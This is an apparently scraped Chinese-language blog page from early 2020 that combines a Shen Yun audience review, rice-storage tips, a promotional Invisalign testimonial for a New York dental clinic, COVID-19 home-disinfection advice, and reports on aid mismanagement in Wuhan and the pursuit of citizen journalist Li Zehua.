“那些故事非常精彩,我喜欢展现各种不同的情节故事。我之前听说过会有很多滑稽幽默的内容,但是,不确定他们如何能展现出这些内容,因为演出没有语言沟通,都得靠动作和舞蹈展现,所以我在想通过不同的舞蹈,他们要怎样展现那些幽默的情节。现在(看了神韵后才发现)他们做的太漂亮了!”

Hamilton分享他观看神韵的另一收获,那就是普世的共通性。他说:“很多时候,我们感觉西方人和东方人迥然不同,但是,看到演出中所展现的内容,如类似的喜剧滑稽,类似的音乐,我们从中会看到东、西方人有那么多的相同之处。”

“对我来说,通过看神韵,让我感受到东、西方的遥远距离并不重要,归根结底,人就是人,(人类的共同价值)都是一样的。”

他还表示,将与亲朋好友分享观看神韵的感受,“神韵是音乐和舞蹈的完美结合,美不胜收,观看神韵是令人心动的体验,每个人都应该来看。”

神韵

2020-03-02 / by / in
疫情期囤粮指南:防止大米不长虫7个有效的办法!其他妙招皆是浮云!

武汉肺炎来势汹汹,随着疫情的升级,全球爆发已经无法避免,某些国家已经沦为重灾区,先知先觉的有识之士,除了买口罩、药物和消毒水备用,第一件事就是”囤粮”!

囤粮就涉及到大米放久长虫子怎么?别急!今天就来向大家推荐7个特别有效的大米防虫妙方:


1.冷冻法-特别推荐,超级好用!!

把刚刚买回来的米放在冰柜或者冰箱冷冻一星期,可防止米里有虫卵孵化,取出后的大米不会生虫,本小编亲自试用过,超级好用。


2.花椒法

首选花椒要选用新买的,气味较浓。因为花椒是一种天然抗氧化物气味特殊,米虫对气味敏感,对这种气味避之唯恐不及,准备几块干净的小纱布,将花椒包住,放置在米箱中的上、中、下等不同位置,然后把米箱盖严盖子就好了。过一段时间,花椒味道会变淡,再重新换新的花椒纱布包就可以了,另外取大约30粒花椒煮成花椒水,将装米箱用花椒水浸泡10分钟,然后自然晾干后再用来装米,也可以有效的防止大米生虫。

 


3.白酒法

白酒中挥发出来的乙醇有杀毒灭虫的作用,在米箱中放入一杯白酒,杯口要高于米面,让白酒自然挥发,然后盖紧米箱盖,如此便可有效防止大米生虫,但要小心别把杯子弄翻。


4.橘皮法

家里经常买橘子,将吃橘子剩下的橘子皮晒干,然后放在大米里,橘子皮的味道既可驱虫,又会使大米有清香味。

5.大蒜法

在米箱子中的不同位置放入几瓣大蒜,然后盖紧米箱盖,防虫效果也非常不错。


6.海带法

海带具有抑制霉菌和杀虫的作用,并有很强的吸湿能力,如将干海带与大米按照重量为1:100的比例混装,每隔10天将海带取出晾至干透再放回,一份海带大约可以反复用20次左右,如此便可防止大米霉变和生虫。

7.真空米

真空包装可以防止潮湿、发霉,存放时间长,不易长虫子。所以囤粮在选购上,记得一定要买真空袋装的米,才能放久不长虫。

 

2020-02-29 / by / in
大龄少女牙齿矫正7月实录 脸型真的变了!电话:(212)588-1809

纽约New York /曼哈顿Manhattan /牙齿矫正/面部整容/牙齿美白/隐适美/牙齿矫正微整形


近年来,牙齿矫正变得非常流行,很多人会发现为什么一些女孩明明牙齿又白又好还要带牙套呢?原因就在于矫正牙齿能够起到面部整形的作用,相较于医美来说,牙齿矫正既能有一口好牙同时又能起到微整形的作用,何乐而不为呢?今天这篇文章就是一名大龄少女纽约矫正牙齿7个月实记录,解决你们所有关于整牙的困惑。

大龄少女年方:24.5岁

坐标:纽约

矫正牙齿记录:7个月 (尚未完成)

主治医生: Dr. Brandon Huang

诊所:纽约牙科诊所 New York Dental Studio

还在进行中,但效果可谓非常励志,有图有真相。

前记

什么样的牙齿需要矫正?这个问题我可能在前20年从来没有想过。就连我在矫正期间,经常有人跟我说,效果真好呀,你牙齿基本上已经很整齐了。

其实不吹不黑,我的牙不矫正也很整齐,形状大小都很满意,问题出在哪儿呢?

我自己是从来咬不开包装袋的,就从小那个袋装牛奶,别说我装柔弱,老干妈瓶盖我分分钟给你拧开,可是一个简单的塑料包装袋,我却咬不开。

说我大口吃肉,一般是因为我豪爽,一般是因为我咬不断大块的东西,只能一口吞。

我妈总说我老张着嘴,很像二愣子(有这样说自己女儿的妈吗)

不止一次想拍“唯美范”的侧脸照,看了下照片,删了删了这呆子一定不是我。

和我一起出去玩的小伙伴趁着我睡觉偷拍我,给我取外号Lucy (考古史上的南方古猿人类祖先)

嘿!并没有那么夸张好吗。不过确实随着时间的推移,嘴凸的迹象越来越明显,睡觉流口水这种羞羞的事就不用多提了,发照片总有人说“你要是长点下巴就好了”。眼看着周围的小伙伴都整过牙了,我也就开始见人就问你哪里整的牙,网上也看过别人写的不少经验贴,还是拿不下决心,觉得自己好像整牙也不是一件十万火急的事。

终于有一天我忍不住了,今年春节回家,和爸爸一家人其乐融融坐在一起,看着眼前的叔叔、伯伯和奶奶,我们都一样下巴偏短,上牙微凸,并且越老越严重。突然我就下定决心了,我一定要整牙!!!十八匹马都拉不住!!!

于是,我用我爸一家活生生的例子说服了我妈(金主),告诉她你女儿的牙虽然说不上暴,但是凸啊!你女儿嘴闭不上不是她装酷啊,是她真的闭不上啊!还有咬合,咬合很重要啊!我咬合不对,吃东西都困难,一边脸大一边脸小,甚至眼睛都一边高一边低的。

 开始找牙医

因为在美国读书,毕业了也打算用opt继续在这儿工作,所以我不打算在国内整牙,但是不是听说美国医疗贵上天吗?Winter break的时候还是趁着回国去对比了几家大大小小的公立私立医院,挂号费咨询费也交了小一千,让我猛拔5颗牙,费用也是参差不齐,四万到十万的都有,时间估摸着得两到三年。

关于选择哪种牙套这件事,我也是没有犹豫的,毕竟24,25的老阿姨了,也不想再带着钢丝牙套,身边的朋友带的都是隐适美,不是她们当着我的面摘牙套我都看不出来她们带了牙套。而且金属牙套痛苦啊,有朋友戴了四个月口腔溃疡到崩溃,最后选择拆掉重新做隐适美。所以我就只考虑了Invisalign,既美观又和钢丝一样有效,还能随时拆卸,和没带牙套一样样儿的。

确定了自己想要什么之后,我就开始找靠谱的牙医。自己在纽约才一年,人生地不熟的,唯一去医院的经历就是朋友滑雪摔断腿之后陪她去医院,我俩连比带猜的和医生几个来回,当时真希望有个靠谱的说中文的医生啊!

所以我找牙医的诉求是能够和我很好的沟通,能说中文最好了,毕竟要我用英语描述出我要的效果,就和拿着明星的照片去找理发师一样,效果总是不尽人意。我在纽约,要找一个说中文的牙医也不是一件大难事,我去了朋友推荐的China Town,也去了Flushing,诊所的环境我都不是特别满意。还有很多是一上来要咨询费,或者是咨询后如果想看方案必须先交定金,那我肯定不干啊,都还不知道方案满不满意,为什么就相当于把这件事情定下来了呢?

兜兜转转三个月过去了,看到一个小姐姐写的记录自己整牙的文章,她的牙医诊所在曼哈顿中城的洛克菲勒中心附近,听起来就很高级有没有。我就打了电话预约找了过去,见了黄医生第一面,也总算是定下来矫正牙齿这件事了。

为什么那么快决定在黄医生的New York Dental Studio矫正牙齿,是因为黄医生不仅仅非常专业,还是个非常有个人魅力的人。我其实挺害怕去医院的,一是因为消毒水的气味,二是因为冰冷的氛围。进到New York Dental Studio,明亮,干净,整个装潢是暖色系的,让人一下放松了下来。前台友好的领我进去,帮我挂好衣服这些细节,都让人第一印象很好。可以听见黄医生在里面和他的patient谈笑,没有一点让我觉得像在医院的焦虑感。黄医生从诊室里走出来,和我握了个手说:你好,我是黄医生!

我的矫正牙齿全过程

和黄医生沟通

之前也说过,我在国内和国外都看过好几个牙医,模型也做过了。Xray也拍过。大致过程我都了解了,和黄医生沟通了一下我的预期,希望能改善我的凸嘴,虽然不指望下巴能变长多少,但是还是希望能尽量拉长我的下巴,让我的整个脸侧面好看一些。

黄医生粗略的看了我的牙齿之后,说我存在两个问题,一个是开咬合(也就是后牙咬紧的时候上下牙之间还有差距),另一个是过咬合(后牙咬紧后上排牙比下排牙突出)。不夸张的说,那个前后差距我能放一根手指!

黄医生说我所有关于咬不开包装袋,嘴闭不上,睡觉呼吸方式,流口水,磨牙,右边咬肌突出,都是因为我的咬合完全不正确。过咬合和深咬合是很多亚洲人都有的问题,但是开咬合却不常见,要把我这“祖传”的嘴突治好,得靠改变我门牙和premolar的角度,然后整个上排往里推,牙齿的移动带着牙骨往里收,我的侧面会有很大的改善,我这种情况需要拔牙,但是智齿没有什么关系,一颗长出来了挺正,另外两颗深埋在牙床里离神经很近,取出来不但费很大功夫,还要冒脸瘫的风险,对我实际上没有任何影响。

这里解决了大家一个误区,整牙一定要拔牙?

No,看牙床的空间决定,有的时候靠牙齿角度的微调,和适当的分牙就能腾出足够的空间,让拥挤的牙齿排列整齐,或者是让更往前的牙齿往后移。普通一颗牙的大小是6-7毫米一颗,而一般拔牙是对称的拔,所以一旦拔牙也就是12-14毫米的空间,这个是一个非常巨大的空间,如果不是我这种情况(上下排差距很大)是不需要拔牙的,不然就要花很长时间去把后面的大牙往前推,然而后面的大牙移动是很慢的,所以时间会大大延长。

智齿对整牙有什么影响吗?

大家普遍认为拔智齿会瘦脸,黄医生说这个得看你原本的骨骼。智齿拔与不拔对矫正牙齿都没有很大的影响,很多人认为智齿长出来把前面的牙齿挤歪了,这是不合理的,智齿的根一般都较短,而智齿前有三颗槽牙,每颗都有三个牙根,深深的扎在你的牙床里,如果智齿把槽牙挤歪了,那得检查一下你的槽牙是否还稳固。

智齿没有咬合上的用途,清洁也比较困难,所以一般建议拔掉。但是没有影响到其他牙齿,整牙前整牙后拔没有特别大的影响,再者说,拔智齿挺疼的,大家慎重考虑。

年龄太大了,不能整牙了?

Invisalign刚开始设计的时候就是给骨骼发育成熟的成年人设计的,只要不是50-60岁牙骨开始萎缩,或者牙根太短,都是没有问题的哦!黄医生和我说他年纪最大的一个Invisalign patient是52岁~

整牙至少要2-3年?

看个人情况了呢,黄医生说他做过最久的case是两年,一般的情况7-8个月就能调整好,我也很吃惊,直到我自己看到了自己的效果。

扫描牙齿模型

因为我已经拍过xray确认过我牙齿的健康情况了,所以就跳过了这一步,不过也可以附上之前在其他诊所拍的图,供大家欣赏。

大晚上看这种图可能不太好,但是也可以看出来我是明显的开咬合和过咬合。

已经做好了被塞满口橡皮泥一样的东西做模型了,黄医生拿出一个手持微型扫描仪一样的东西,说,“张开嘴现在我来取一下你牙齿的模型”。我心里咯噔,这是什么高科技,一边乖乖的看着黄医生的仪器在我嘴里一边移动一边咔咔咔的连续照相,我的牙齿就这样一点一点的出现在了旁边的屏幕上!感觉羞愧又神奇!不到五分钟,屏幕上就有了我完整的牙齿模型,包括咬合位置。下图是我的3d牙齿模型正面和侧面截图,阴影的那两颗牙是我决定拔掉的两颗牙。

偷拍的高科技扫描仪,黄医生说不仅更舒适精确度也大大大提升哦!扫描完之后就会有一个完整的牙齿模型,和非常非常粗略的预期矫正效果。黄医生会根据你的预期,在咬合正确的最大程度上实现美观,不仅是牙齿,还有脸型的要求,来设计一个精确的,完整的方案。

拿到牙齿矫正方案

效率超高,大概五天我就拿到了确定的方案,是一个3D动画,黄医生希望我能到office来当面看,他和我解释,这样会更容易理解,也没有任何收费,他说希望每个人都是拿到了自己满意的方案之后再做决定。这个小视频里我可以看到我一共有33副牙套,每一副牙套我的牙齿会有怎么样的变化,到最终的效果。33个牙套,每个10-14天,也就是说我的疗程最长是17个月,和之前在国内医生和我说的三年可差远了。

视频不好放我就放个前后对比吧,阴影部分是矫正前,白色部分是矫正完成(33副牙套)后的效果。我伙呆!请收下我的膝盖!

看完整个动图之后我虽然很开心,但是还是满心疑惑,我的牙齿真的会变成这样吗?是怎么做到的呢?

黄医生当时的解答我现在每一个字都记得,他说,如果最终达不到方案上的效果,那接下来每一个牙套我都带不上。

是蛮有道理的。那这神奇的牙套又是怎样施力的呢?

制作的方案其实还包括一些透明的小附件,固定在移动较大的牙齿上,一方面能够提供施力的角度,一方面保证牙套不会发生位移。

Invisalign的材料不断的在更新,并不是大家想象的简单的塑料和树脂,这就是这么多年来市场上不断有模仿者,却从未被超越的原因。

我似懂非懂,但是对我的方案非常满意,也觉得黄医生给的价格非常合理(4000美元包含了一切调整和保持器),于是就交了2000一半的定金,美滋滋的开始期待我的牙套赶快生产好,能够早一些带上。

安装牙套

不到两周的时间,他们通知我我的牙套拿到了,我中午趁着lunch break坐车到了诊所,满怀激动的心情,又有点小紧张。

黄医生先是给我洗了个牙,据说矫正牙齿前要洗牙,把牙齿间的牙垢清理干净,这样牙齿才能更好的移动。然后就开始了安装牙套的操作,操作室的灯明晃晃的,我就一直闭着眼睛。以为会有什么惊心动魄的事情要发生,结果黄医生和他的助手非常云淡风轻的完成了整个操作,不痛不痒,咔嚓我的第一个牙套按在了我的牙上。

“什么感觉?”黄医生问我

“有点紧,又说不上太紧,就感觉嘴里多了个不属于自己的东西“

“刚才好像削我的牙了?“

“牙缝间的一点点,大概0.2mm,对牙齿完全没有伤害,制造点空间让你的下牙能够移动“

“得嘞!“

这整个过程大概40分钟,却好像一个新的世纪的开始。

下图是我带上牙套后的样子,基本上是看不出来的,可以说是非常隐形了!

改变的过程

刚开始几天感觉自己不会说话了,因为带上牙套我嘴更闭不上了所以嘴唇很干,我疯狂的喝水擦唇膏喝水擦唇膏。

因为门牙动的幅度很大,所以我门牙上有颗附件,刚开始的时候不戴牙套门牙上的附件咯得我上嘴唇内壁破了,我就没事儿多带着牙套,大概过了一周我已经习惯这个牙套和附件了,一切变得很轻松。

没有戴过传统的钢丝牙套,但是Invisalign的隐形牙套我很有发言权。制作的非常精致,紧紧贴合每一颗牙齿,并不会超过牙齿的范围磨到牙龈或者舌头,每一个牙套移动的幅度是经过控制的,不会让牙齿走得太快从而松动,也能循序渐进看出效果。

痛的感觉我没有,要说不舒适,可能是移动的比较大的那几颗牙齿会酸软,硬的苹果没办法整个啃,但是切成块还是正常吃的。

再来就是矫正咬合的期间,会有觉得肌肉酸,因为咬合开始变化,包括肌肉也在慢慢的调整,但这些都是一些几乎可以忽略的感觉。

吃东西当然可以随时随地吃东西,Invisalign牙套可以随时摘卸,和传统钢丝一带就是两三年相比,可是方便得多。喝水也不需要摘,吃完东西漱口就可以继续戴上牙套,只要保证每天戴满16-20小时就没问题,今天的效果份额就妥妥的。

清洁必须重要,难以想象你戴着一个东西两周不洗吧,刷牙的时候用牙刷刷一刷,漱口的时候用清水涮一涮,就好多啦!超级容易的!

戴上牙套就更要注意自己的口腔卫生啦,勤用牙线,或是水牙线,因为有些食物残渣刷牙没刷掉,带着牙套闷着那当然容易滋生细菌,导致蛀牙。所以大家一定要注意好好刷牙!好好用牙线!

复诊大概每4-6周我会去例行让黄医生检查检查我的牙齿,看走动的是不是和预期效果相同,只要不是我偷懒每天不好好带,不要着急忙慌的换下一个,都没有什么太大的问题,牙齿走得乖乖的。每10-14天换一个牙套,摘牙套的时候我会比较注意方法,从牙齿的背面单侧扣下来,避开有attachment的地方,这样既不会扯掉attachment,又不会让我牙齿疼,是不是很机智~

我大概是在第10,11个的时候感觉到了明显变化,每个人情况不同,可以自己玩弄玩弄自己的小方案,我就自己录了个小视频,没事儿就掏出来看一看比对比对,发现真的是很神奇,说我的牙齿第几幅是什么样子,就一定是什么样子,只能感叹高科技啊,真是个好东西!

有图有真相

3.15是我安装牙套的第一天,到10.16号已经整整七个月了,不管是牙齿上的改变,和脸部的改变都还蛮大的,许久不见我的朋友都会觉得我变了个人,也很多人说我脸瘦了,其实人家不是胖啦,只是肉很多!不多说,上图

其实还有20个牙套,但是我的凸牙已经基本上都回去了,改变巨大。下面放羞羞的真人图。

比较明显的是我的人中明显变长,嘴突有了很大改善,下巴也因此显得更长,我发现最惊喜的改变是,我的肉肉脸!!!没有了!!!

有人说我瘦了,其实我3月份的时候97斤,现在105斤,所以并不是我的体重,而是我整个脸的变化,我也是有下巴的人了!

矫正牙齿到现在,真的是所见即所得,和付出的相比,得到的实在是太惊喜了。还有很长的路要走,还有20个牙套要戴,但是我觉得忍不住想把这种喜悦分享给大家,相信高科技!相信黄医生!

很多来过纽约牙科诊所,甚至在纽约牙科诊所整牙的小伙伴们一定都觉得我眼熟!没错!整牙整了两个月,包括写过记录帖,影响了很多在纽约的朋友和网友们,黄医生邀请我加入他们诊所,成为了你们的前台小姐姐!说起来,我还是他第一个真正意义上的中国留学生patient呢!不过这不影响我这篇记录帖的真实性,因为我确实是因为矫正牙齿找到了黄医生,我所体验的,在我身上发生的变化,都是实实在在有图有真相的。和黄医生我也学到了很多,基本上是个纸上谈兵的“牙科专家“了,把他推荐给大家,也是希望在犹豫的,和想找靠谱牙医找不到的北美烧钱君粉丝一个参考。

一口整齐健康的牙齿真的对生活影响巨大,纽约有这么童叟无欺的牙科诊所,我一定要强烈为他们打call!超级感谢黄医生,感谢纽约牙科诊所!

现在北美省钱快报上还有优惠哦!4000全包,全包!(补牙拔牙另算啦)

纽约牙科(New York Dental.studio)

地址:30 East 60th street,suite 2402 New York,NY 1002

电话:(212)588-1809

网址:https://www.nydentalstudio.com/chinese

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2020-02-28 / by / in , , , ,
做好日常8件事 武汉肺炎远离你!

面对中国越来越险峻的疫情,我们如何自保?

肉类蔬菜煮熟后再食用,用烘干机烘衣物,正确按电梯按钮⋯⋯这些习惯都有助于消灭或预防新型冠状病毒。在日常生活中做到以下8件事,帮你远离武汉肺炎。

1. 肉类蔬菜煮熟再吃、水果要削皮

不吃生食,是预防武汉肺炎的要点。林口长庚医院毒物科主任颜宗海表示,高温可杀死冠状病毒,因此蔬菜、肉类和蛋都要煮熟再食用。

蔬果食用前,应先用流水清洗10分钟,水果要削皮再吃。刀具和砧板要生、熟食分开,预防交叉感染。

特别是在中国已有严重社区感染的环境之下,更要注重给生鲜食物消毒。河南科技大学第二附属医院感染科主任孙和才对陆媒说,在超市或市场,病毒可通过飞沫传播到蔬菜、肉和水果上。若用流水清洗,可将附着在表面的病毒洗掉百分之八九十。

但他补充说,沾染到蔬菜的病毒理论上不会存活超过48小时。

买菜时如果直接用手触摸,也有可能沾染病毒。孙和才认为选购时可将超市购物小袋套在手上抓取。颜宗海则建议,在传统菜市场摸过肉类、鱼类等生鲜食物后,最好就近以肥皂洗手,或随身准备75%酒精或干洗手消毒,且搓洗至少20秒。

2. 用沸水浸泡衣物和日常用品,日晒被褥
根据中共国家卫健委《新型冠状病毒感染的肺炎诊疗方案(试行第五版)》,新型冠状病毒对紫外线和高温敏感,只要加热到56℃,且持续30分钟就可有效杀死。

尚文诊所感染科医师、曾任台北荣民总医院感染科主治医师的郑元瑜指出,一般人在煮水时,不会特意去测温度。因此直接将可能带有病毒的物品在水中持续煮沸,是最简单有效的消毒方法。

新型冠状病毒属于有外套膜病毒,比一般无套膜病毒更不耐热。常见的有外套膜病毒,如引起感冒的正黏液病毒、RNA肿瘤病毒,在100℃滚水中10分钟即可完全消灭,新型冠状病毒的消毒方式也可以此做参考。

郑元瑜提醒,金属器械、普通衣物或棉织品、碗盘等餐具、玻璃制品都可用沸水消毒。但毛皮、呢绒和塑胶制品则不能用此方法消毒。

颜宗海建议,在洗涤衣物时,也可不用浸泡,改为用烘干机高温烘干,这个过程即可杀死病毒。

另一个简单的杀菌方法是日晒。太阳光的紫外线杀菌方便、无污染且无副作用,唯一的缺点是必须要靠天气。在阳光充足的晴天晒被子或其它物品,连晒1小时才有杀菌效果。

3. 正确用漂白水、酒精居家消毒
漂白水及75%酒精都可使新型冠状病毒失去活性。使用漂白水消毒前,要先注意购买的漂白水是否含有「次氯酸钠」。

市售漂白水主要分成氧系漂白水及氯系漂白水:

氯系漂白水:主成分为次氯酸钠,去污力强。加水稀释后,能有效杀灭细菌及病毒。
氧系漂白水:主要成分是双氧水,不含氯。

台湾卫福部疾管署指出,一般的环境,如家具、厨房,可以用1:100的稀释漂白水(500 ppm)消毒。浴室或马桶表面等较脏的地方应使用1:10的稀释漂白水(5000 ppm)消毒。建议每天消毒一次。消毒过程中,室内空气需保持通风以维持空气清洁。

由于次氯酸钠是强碱,对皮肤有刺激、腐蚀性,直接吸入也可能伤害身体。颜宗海建议,在稀释漂白水及使用漂白水消毒时,应穿长袖衣服、戴手套、口罩及护目镜,避免次氯酸钠碰到嘴巴、鼻子和眼睛。漂白水平时也应放在小孩拿不到的地方。

颜宗海强调,单纯使用清水、漂白水混合消毒即可,不应自行添加苏打粉、洗碗精、盐酸、白醋,避免产生化学作用。尤其是漂白水碰上盐酸等酸性清洁剂,会造成氯气中毒,严重会导致呼吸困难。

使用漂白水消毒,依方法不同,疾管署建议:

擦拭法消毒:停留至少 10 分钟,再用一般清水擦拭干净。
浸泡式消毒:建议浸泡时间超过 30 分钟,再用一般清水洗净。

稀释的漂白水最好当天用完,以免降低消毒效力。

至于小孩的玩具、推车,颜宗海建议使用75%酒精消毒比较好,以免残留漂白水。

4. 从医院或公共场所回家,小心处理外出服
前往医院或公共场所,细菌和病毒很可能会附着在衣物上带回家,许多民众甚至不敢去医院。

颜宗海呼吁,有就医需求的民众,例如慢性病患者千万别因害怕而不去医院,否则会更危险。他建议,从医院回来要马上换衣服,并拿去洗。

同时,在疫情严重的地区,外出可以避免穿套头衣物,降低脱衣服时接触到口、鼻和眼睛的机会。外套如果不方便每日清洗,可选择穿防水度较高的款式,回家后使用75%的酒精擦拭消毒。

来不及清洗的脏衣服,可装入特定塑胶袋或篮子,并放在家中较少人接触的位置。

此外,鞋子不要穿进屋内,尤其是到过医院等高危地区。进屋前,先在屋外踏上消毒地毡,再脱鞋,喷洒消毒水,把鞋子放在门外或空气流通的地方如阳台吹一晚,再以塑胶袋装好。

5. 吃饭勿玩手机、回家后为手机消毒
尽可能戒掉边吃饭边玩手机的习惯,因为手机表面经双手随时随地、频繁地触摸,容易沾染病毒。

呼吸道医学专家、东京池袋大谷医院院长大谷义夫在日本节目《学会之前与之后》(教えてもらう前と后)教导民众,在回家洗手前,也要先替手机消毒清洁。他说,若不注重手机清洁,即便手洗得再干净,碰到手机也功亏一篑。

6. 电梯按钮正确按,减少新冠病毒传染机会
为了避免接触感染,许多民众搭乘电梯时,改用钥匙、笔或用衣服包手指去按电梯,但这些行为都存在风险。

钥匙、笔和衣服接触到电梯按钮后,就会把细菌、病毒带走。例如把沾到病毒的钥匙放入口袋,但口袋里有卫生纸,再用卫生纸擦口鼻,就有感染风险。

可以直接用手指按电梯,但在按完后、触摸脸部之前,要用肥皂洗手或用酒精干洗手液消毒。如今也有不少电梯附有酒精干洗手液。

奇美医院加护医学部主治医师陈志金则在脸书分享他老师的习惯:洗手后的擦手纸留下来按电梯钮,出电梯后再丢掉。

不搭电梯改走楼梯,也可减少被传染的机会,还可借机运动。但要记得别摸扶手,或是触摸过后要洗手。

7. 盖好马桶盖
中国官方日前宣布在患者粪便里验出新型冠状病毒阳性,中国疫情专家组组长钟南山向《南方日报》表示,新型冠状病毒有可能通过粪口传播,现在应该引起重视和高度警惕。

若要预防粪口传播,勤洗手非常重要,尤其在饭前、如厕后及处理食物之前。而且上厕所后,冲马桶前先要盖上马桶盖,防止病原体随微小液滴被喷溅到空气中,马桶及马桶盖也要定期清洗。

8. 避免一同吃火锅、洗桑拿
香港日前有一则案例,一家人过年团聚吃火锅,却造成9人群聚感染。在有「海上武汉」之称的「钻石公主号」游轮中,则有确诊个案曾待过按摩浴池和桑拿室。

由于中国日前宣布新型冠状病毒可通过气溶胶传播,因此有学者认为,桑拿浴室、按摩池和火锅的蒸气会形成气溶胶,造成传染。气溶胶传染指呼出人体的飞沫,经蒸发形成飞沫核后,能长期悬浮在空气中不沉淀,增加无接触传播的风险。

郑元瑜指出,其实上述行为本身就容易增加飞沫传染的机会,因此应避免。万一武汉肺炎真的会通过气溶胶传播,也可能因为桑拿、火锅的气雾而增强感染力。

气溶胶可在一个空间,如飞机、火车和大体育馆内,经由空调系统输送传染。郑元瑜表示,若要预防气溶胶传染,只有配戴N95口罩才有效。

2020-02-27 / by / in , , ,
“发国难财”:武汉销毁大量外省捐助食物 医院餐费郤天天涨价

有网民披露,外省援助武汉市民的蔬菜被销毁,原来内有乾坤。

湖北“武汉肺炎”最严重的武汉市实施封城已超过一个月来,不少网民发现有关当局将用于支援武汉民众的蔬菜销毁,比如将一袋袋的白萝卜、胡萝卜或青菜,甚至肉类都倒入垃圾桶,有的直接挖坑填埋,受到居民质疑。

当地一志愿者王先生本周四(27日)对本台说:“国难财就是这样来的,全国各地送来的援助物资,鲜菜、肉类等,人家把东西送到湖北,没有人去接洽,都烂了、臭了。 为什么?因为他们(官方)要保障国有、集体及外资超市的供给充足。如果这些免费发放的物资到了每一个老百姓手里,那不是冲击了利益集体的利益吗?”

王先生说,官僚们在层层设卡,试图限制进入武汉的外援食品,就是为了保障自己的商品顺利出售:“现在这些官僚违背中央精神,懈怠老百姓的死活。现在很多超市都在到处搞团购,搞捆绑式销售,到达他们利税两收的目的。”

志愿者王先生说,他们要求中央政府派人到武汉进行调查,并向生活在疫情的民众发放抚慰金,帮助民众度过难过。

武昌及硚口方舱医院患者的每日三餐,竟然加价最多至五成。

武昌、硚口方舱医院一日三餐加价五成。(志愿者提供/记者乔龙)
武昌、硚口方舱医院一日三餐加价五成。(志愿者提供/记者乔龙)

另外,当地居民提供给本台的一份《关于方舱医院送餐价格调整的请求》显示,向武汉多家方舱医院患者提供膳食的公司,指近期原材料价格上涨,员工上班需要支付双倍工资,向该市有关部门申请加价,其中武昌、硚口方舱医院每日三餐收费100元,加至150元,江汉方舱医院每日三餐由130元提升到150元。

民众在隔离期需要向当局支付4000至8000元不等的餐宿费

对此,不少网民批评这些公司趁人之危,借机敛财。湖北网民王艳周四对本台说,各乡镇及村委会还向外来人员收取隔离费:“今天早上听我们襄阳的姐妹说,从外地回来须隔离14天,收取6000多元宾馆费,有的人没有钱,隔离结束不让走,吃住都是自费。青山区设有隔离房,有居民反对。很多人借此机会发大财。”

民众医学隔离须自费,官方明码实价。(志愿者提供/记者乔龙)
民众医学隔离须自费,官方明码实价。(志愿者提供/记者乔龙)

另一位湖北居民毛先生对本台披露,在广州郊区,镇政府向外来复工人员收取隔离费是8400元。他说此举明显违反国家规定:“最近我观察到全国各地,特别是返工比较多的地方,在收取返工人员的隔离费用,有收6000元的,8000元的,8400元的不等。其实按照《中华人民共和国传染病防治法》第41条明文规定,实施隔离措施的必须是县级以上人民政府才能决定实施,实施隔离措施的必须提供生活保障。”

毛先生说,根据法律规定,所在单位要提供被隔离人员在此期间的工作报酬。被隔离的民众不需要负担任何费用,当局此举涉嫌违反传染病防治法。

中国公安部26日发布通告说,疫情是一面镜子,有人义无反顾驰援一线,也有人利欲熏心赚取不义之财。国家“零容忍”的强硬处理方式,正是对这些人提出警告,发现一个必将重罚一个。

2020-02-27 / by / in ,
前央视记者实地采访肺炎疫情被追捕

前央视主持人李泽华(网络视频截图)

前央视主持人李泽华(网络视频截图)

90后李泽华毕业于中国传媒大学,曾在官媒中央电视台担任主持人,辞职后成立了自媒体。

亲身纪录武汉疫情的律师陈秋实与公民方斌,被当局扣查后一直失联。周三(26日),李泽华也遭遇同一命运,至今还不能确定他到底是遭到拘留还是隔离。

李泽华的武汉之旅从一个多星期之前展开,搬运尸体的工人以至滞留武汉的工人先后成为他的采访对象。

周三,他在武汉一条公路上开车时却遇到了麻烦。

视频【前央视主持人辞职赴武汉揭真相】【寻访P4实验室后被国保追截失联】

李泽华:“各位网友,我现在在路上突然被一个国家安全局的人开着不是警车的车在追我。我没法进行直播,我只能拍视频,我现在在武汉,他们现在在追我。他们一定是要隔离我,向各位求助。”

当天回到酒店后,李泽华再发视频。

李泽华:“到了这一步,我觉得我不被带走,不被隔离也不太可能了,但是我想澄清的是,我无愧于我自己,无愧于我的父母,无愧于我的家庭,也无愧于我毕业的中国传媒大学,无愧于我学的传媒,我也无愧于这个国家。”

他重提当年往事。

李泽华:“我知道理想主义在当年的春夏之交(六四事件)已经破灭。静坐已经没有任何作用。现在的年轻人可能根本就不知道历史上曾经发生过什么。”

其后有疑似国保进入酒店房间,视频中断。

 

视频【武汉第五医院的尸体恐怖现场,拍摄者方斌在当天下午已经被警察破门抓走】

 

公民记者成大陆网民另类新闻来源

除了李泽华,近期以公民记者身份实地纪录武汉疫情的还有律师陈秋实与公民方斌,他们先后被当局带走,至今下落不明。

香港浸会大学新闻系高级讲师吕秉权表示,近年中国每当发生大型群体事件,都会见到独立记者的踪影。

吕秉权:“把自己看到的实况反映出来。他们没有很好的资助与团队,但也没有党的喉舌与任务,他们可以把自己相信与见到的东西公诸于世,通常都是单枪匹马的,做出来的东西真实反映了实况。”

他说,公民记者接连被扣查与他们踩进了“禁区”有关。

吕秉权:“这疫情里有很多见不得光的事情。根据中国官方的讲法,他们要突显的是中央的坚强领导,还有主旋律,宣传重点基本上没有对准病人。疫情还有民间的情况还是一个‘禁区’。”

吕秉权说,归根究底,李泽华等人被扣查关键还是缺乏新闻自由。

 

2020-02-27 / by / in , , ,
半路抢劫!武汉疫区救灾物资被城管扣留

近日,一名武汉人刘大大(网名)在网上发帖说:「我是湖北人,说句心里话,我不想让你们捐,你们可以卖给我们。因为你们捐过来的物资很多都不知道让谁弄走了,疫情到现在我吃的所有东西都是花钱买的。所以看见你们倾尽所有的来帮湖北人我心里很难受。」

武汉封城后,很难获得各项民生物资,特别是每天要吃的蔬菜水果就显得特别难得。邻近省分农民纷纷伸援手,将采收的蔬果一车一车往武汉送,希望能解决前线医院和当地居民基本的生活需求。然而,这些物资不是被扣留就是被抢劫,并未发送到居民家中。

每天在微信群里都可见到民众对采购的蔬果又贵又差在犯难。而爱心人士捐赠的物资也多次被拍到进入武汉后被关系人先拿走一部分,也有的城管、公安先劫了再说,官员吃不完丢掉,老百姓却算着兜里那点钱买菜过日子。

外地农民捐赠给武汉新州区暹罗街的蔬菜,刚送到就被志愿者的亲戚先给要去了几百斤。真是撑死有关系的,饿死平民老百姓。

四川送来武汉的蔬菜,被城管拦截下来,​​菜一把一把往城管执法车上放。司机跟城管说这是救灾物资,他就是不听。

